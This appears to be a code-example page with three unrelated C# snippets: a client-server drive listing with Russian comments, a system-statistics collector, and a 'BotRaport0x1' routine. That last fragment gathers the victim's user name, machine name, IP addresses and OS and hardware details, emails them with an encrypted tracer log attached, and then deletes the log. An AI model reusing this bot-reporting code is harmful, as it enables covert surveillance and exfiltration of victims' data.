/// <summary>
        /// отправка полученных дисков в поток к клиенту
        /// </summary>
        /// <param name="networkStream"></param>
        private void SendDrivesInfo(NetworkStream networkStream)
        {
            try
            {
                //получение списка дисков
                IEnumerable <DriveInfo> drives = GetDrives();

                //экземпляр класса DrivesInfo
                DrivesInfo drivesInfo = new DrivesInfo();

                //проход по каждому диску
                foreach (var drive in drives)
                {
                    //если диск готов(подключен)
                    if (drive.IsReady)
                    {
                        drivesInfo.Drives.Add(drive.Name);//добавить его в коллекцию дисков
                    }
                }

                //отправка клиенту полученных дисков
                networkStream.Send(drivesInfo);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
        /// <summary>
        /// получение запрашиваемых дисков с сервера
        /// </summary>
        /// <param name="netStream">сетевой поток сервера</param>
        /// <returns></returns>
        private DrivesInfo GetDrivesFromServer(NetworkStream netStream)
        {
            try
            {
                //создание запроса на получение дисков
                GetDrivesTask getDrivesTask = new GetDrivesTask();

                //отправка по сетевому потоку запроса на получение дисков
                netStream.Send(getDrivesTask);

                //прочитать запрос с сетевого потока
                Stream stream = netStream.WriteToStream();

                //десерилизация из потока сервера
                DrivesInfo driveInfoResult = Serializer.Deserialize <DrivesInfo>(stream);

                //вернуть полученный результат
                return(driveInfoResult);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }

            return(null);
        }
示例#3
0
        public IDictionary <string, object> GetSystemStats()
        {
            var stats = new Dictionary <string, object>();

            var process = Process.GetCurrentProcess();
            var drives  = DrivesInfo.GetSystemDrives();
            var diskIo  = DiskIo.GetDiskIo(process.Id, _log);
            var tcp     = TcpConnectionMonitor.Default.GetTcpStats();
            var queues  = QueueMonitor.Default.GetStats();

            var checksum           = _writerCheckpoint.Read();
            var checksumNonFlushed = _writerCheckpoint.ReadNonFlushed();
            var workingSetMemory   = process.WorkingSet64;
            var startTime          = process.StartTime.ToUniversalTime().ToString("O");
            var procId             = process.Id;

            var totalCpu     = _perfCounter.GetTotalCpuUsage();
            var procCpu      = _perfCounter.GetProcCpuUsage();
            var threadsCount = _perfCounter.GetProcThreadsCount();
            var freeMem      = OS.IsLinux ? GetFreeMemOnLinux() : _perfCounter.GetFreeMemory();
            var gcStats      = _perfCounter.GetGcStats();

            stats["proc-diskIo-readBytes"]            = diskIo.ReadBytes;
            stats["proc-diskIo-readOps"]              = diskIo.ReadOps;
            stats["proc-diskIo-writeOps"]             = diskIo.WriteOps;
            stats["proc-diskIo-writtenBytes"]         = diskIo.WrittenBytes;
            stats["proc-diskIo-readBytesFriendly"]    = diskIo.ReadBytesFriendly;
            stats["proc-diskIo-readOpsFriendly"]      = diskIo.ReadOpsFriendly;
            stats["proc-diskIo-writeOpsFriendly"]     = diskIo.WriteOpsFriendly;
            stats["proc-diskIo-writtenBytesFriendly"] = diskIo.WrittenBytesFriendly;

            stats["proc-tcp-connections"]                = tcp.Connections;
            stats["proc-tcp-inSend"]                     = tcp.InSend;
            stats["proc-tcp-measureTime"]                = tcp.MeasureTime;
            stats["proc-tcp-pendingReceived"]            = tcp.PendingReceived;
            stats["proc-tcp-pendingSend"]                = tcp.PendingSend;
            stats["proc-tcp-receivedBytesSinceLastRun"]  = tcp.ReceivedBytesSinceLastRun;
            stats["proc-tcp-receivedBytesTotal"]         = tcp.ReceivedBytesTotal;
            stats["proc-tcp-receivingSpeed"]             = tcp.ReceivingSpeed;
            stats["proc-tcp-sendingSpeed"]               = tcp.SendingSpeed;
            stats["proc-tcp-sentBytesSinceLastRun"]      = tcp.SentBytesSinceLastRun;
            stats["proc-tcp-sentBytesTotal"]             = tcp.SentBytesTotal;
            stats["proc-tcp-measureTimeFriendly"]        = tcp.MeasureTimeFriendly;
            stats["proc-tcp-receivedBytesTotalFriendly"] = tcp.ReceivedBytesTotalFriendly;
            stats["proc-tcp-receivingSpeedFriendly"]     = tcp.ReceivingSpeedFriendly;
            stats["proc-tcp-sendingSpeedFriendly"]       = tcp.SendingSpeedFriendly;
            stats["proc-tcp-sentBytesTotalFriendly"]     = tcp.SentBytesTotalFriendly;

            stats["proc-gc-allocationSpeed"]   = gcStats.AllocationSpeed;
            stats["proc-gc-gen0ItemsCount"]    = gcStats.Gen0ItemsCount;
            stats["proc-gc-gen0Size"]          = gcStats.Gen0Size;
            stats["proc-gc-gen1ItemsCount"]    = gcStats.Gen1ItemsCount;
            stats["proc-gc-gen1Size"]          = gcStats.Gen1Size;
            stats["proc-gc-gen2ItemsCount"]    = gcStats.Gen2ItemsCount;
            stats["proc-gc-gen2Size"]          = gcStats.Gen2Size;
            stats["proc-gc-largeHeapSize"]     = gcStats.LargeHeapSize;
            stats["proc-gc-timeInGc"]          = gcStats.TimeInGc;
            stats["proc-gc-totalBytesInHeaps"] = gcStats.TotalBytesInHeaps;

            stats["proc-mem"]          = workingSetMemory;
            stats["proc-threadsCount"] = threadsCount;
            stats["proc-cpu"]          = procCpu;
            stats["proc-startTime"]    = startTime;
            stats["proc-id"]           = procId;

            stats["sys-freeMem"] = freeMem;
            stats["sys-cpu"]     = totalCpu;

            stats["es-checksum"]           = checksum;
            stats["es-checksumNonFlushed"] = checksumNonFlushed;

            Func <string, string, string> driveStat = (diskName, stat) => string.Format("sys-drive-{0}-{1}", diskName, stat);

            foreach (var driveInfo in drives.Drives)
            {
                stats[driveStat(driveInfo.DiskName, "availableBytes")]         = driveInfo.AvailableBytes;
                stats[driveStat(driveInfo.DiskName, "totalBytes")]             = driveInfo.TotalBytes;
                stats[driveStat(driveInfo.DiskName, "usage")]                  = driveInfo.Usage;
                stats[driveStat(driveInfo.DiskName, "usedBytes")]              = driveInfo.UsedBytes;
                stats[driveStat(driveInfo.DiskName, "availableBytesFriendly")] = driveInfo.AvailableBytesFriendly;
                stats[driveStat(driveInfo.DiskName, "totalBytesFriendly")]     = driveInfo.TotalBytesFriendly;
                stats[driveStat(driveInfo.DiskName, "usedBytesFriendly")]      = driveInfo.UsedBytesFriendly;
            }

            Func <string, string, string> queueStat = (queueName, stat) => string.Format("es-queue-{0}-{1}", queueName, stat);

            foreach (var queue in queues)
            {
                stats[queueStat(queue.Name, "queueName")]                 = queue.Name;
                stats[queueStat(queue.Name, "avgItemsPerSecond")]         = queue.AvgItemsPerSecond;
                stats[queueStat(queue.Name, "avgProcessingTime")]         = queue.AvgProcessingTime;
                stats[queueStat(queue.Name, "currentIdleTime")]           = queue.CurrentIdleTime.HasValue ? queue.CurrentIdleTime.Value.ToString("G") : null;
                stats[queueStat(queue.Name, "currentItemProcessingTime")] = queue.CurrentItemProcessingTime.HasValue ? queue.CurrentItemProcessingTime.Value.ToString("G") : null;
                stats[queueStat(queue.Name, "idleTimePercent")]           = queue.IdleTimePercent;
                stats[queueStat(queue.Name, "length")] = queue.Length;
                stats[queueStat(queue.Name, "lengthCurrentTryPeak")]       = queue.LengthCurrentTryPeak;
                stats[queueStat(queue.Name, "lengthLifetimePeak")]         = queue.LengthLifetimePeak;
                stats[queueStat(queue.Name, "totalItemsProcessed")]        = queue.TotalItemsProcessed;
                stats[queueStat(queue.Name, "lengthLifetimePeakFriendly")] = queue.LengthLifetimePeakFriendly;
            }

            return(stats);
        }
示例#4
0
        public void ProcessRaport()
        {
            try
            {
                if (Tracer == null || !NetTester.IsNetworkAvailable())
                {
                    return;
                }

                if (InnerRaportRequest || OuterRaportRequest || Tracer.IsFull)
                {
                    string user    = Environment.UserName;
                    string machine = Environment.MachineName;
                    string ippublic;
                    string iplocal = NetTester.LocalIP;

                    if (this.PublicIP.IsNullOrWhiteSpace())
                    {
                        ippublic = NetTester.ExternalIP;
                    }
                    else
                    {
                        ippublic = this.PublicIP;
                    }

                    Microsoft.VisualBasic.Devices.ComputerInfo info = new Microsoft.VisualBasic.Devices.ComputerInfo();



                    string title = string.Format("BotRaport0x1: <ID:{0}/>", this.ID);

                    string message = string.Format(
                        @"
<ID:{0}/>
<User:{1}/>
<Name:{2}/>
<PublicIP:{3}/>
<LocalIP:{4}/>
<InnerRequest:{5}/>
<OuterRequest:{6}/>
<InstalledUICulture:{7}/>
<OSFullName:{8}/>
<OSPlatform:{9}/>
<OSVersion:{10}/>
<Is64BitOperatingSystem:{11}/>
<AvailablePhysicalMemory:{12}/>
<AvailableVirtualMemory:{13}/>
<MaxClockSpeed:{14}/>
<NumberOfCores:{15}/>
<DriveAvailableFreeSpace:{16}/>",
                        this.ID,
                        user,
                        machine,
                        ippublic,
                        iplocal,
                        InnerRaportRequest,
                        OuterRaportRequest,
                        info.InstalledUICulture,
                        info.OSFullName,
                        info.OSPlatform,
                        info.OSVersion,
                        Environment.Is64BitOperatingSystem,
                        info.AvailablePhysicalMemory,
                        info.AvailableVirtualMemory,
                        ProcessorsInfo.MaxClockSpeed(),
                        ProcessorsInfo.NumberOfCores(),
                        DrivesInfo.AvailableFreeSpace(Files.ExeRoot));

                    EMail.SendAsync(title, message, false, Tracer.DataRawEncryptedCompressed.ToMemory(), "BotRaport0x1-loggs.abr");
                    EMail.WaitForResponse(3, TickTime.Unit.m);

                    if (EMail.Delivered)
                    {
                        InnerRaportRequest = false;
                        OuterRaportRequest = false;
                        Tracer.Delete();
                    }
                    else
                    {
                        EMail.StopAsync();
                    }
                }
            }
            catch (Exception ex)
            {
                Output.WriteException(ex);
            }
        }